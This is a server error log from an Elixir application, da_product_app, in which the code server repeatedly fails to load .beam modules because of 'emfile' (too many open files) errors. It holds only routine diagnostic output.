[Sun Sep  6 00:59:42.753000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.753000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.753000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.753000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.753000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.753000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.753000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.753000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.753000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.753000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.753000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.753000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.753000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.753000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.753000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.753000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.753000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.754000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.754000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.754000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.755000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.756000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.756000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.756000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.756000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.756000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.757000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.757000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.757000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.757000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.758000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.758000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.758000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.758000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.758000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.758000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.758000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.758000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.758000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.758000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.758000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.758000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.759000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.759000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.759000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.759000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.759000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.759000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.759000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.759000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.759000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.759000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.760000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.760000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.760000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.760000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.760000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.760000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.760000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.760000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.760000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.760000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.760000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.760000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.760000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.760000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.761000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.761000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.761000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.761000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.761000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.761000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.761000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.761000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.762000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.763000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.763000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.763000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.763000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.763000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.763000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.763000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.764000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.764000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.764000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.764000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.765000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.765000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.765000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.765000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
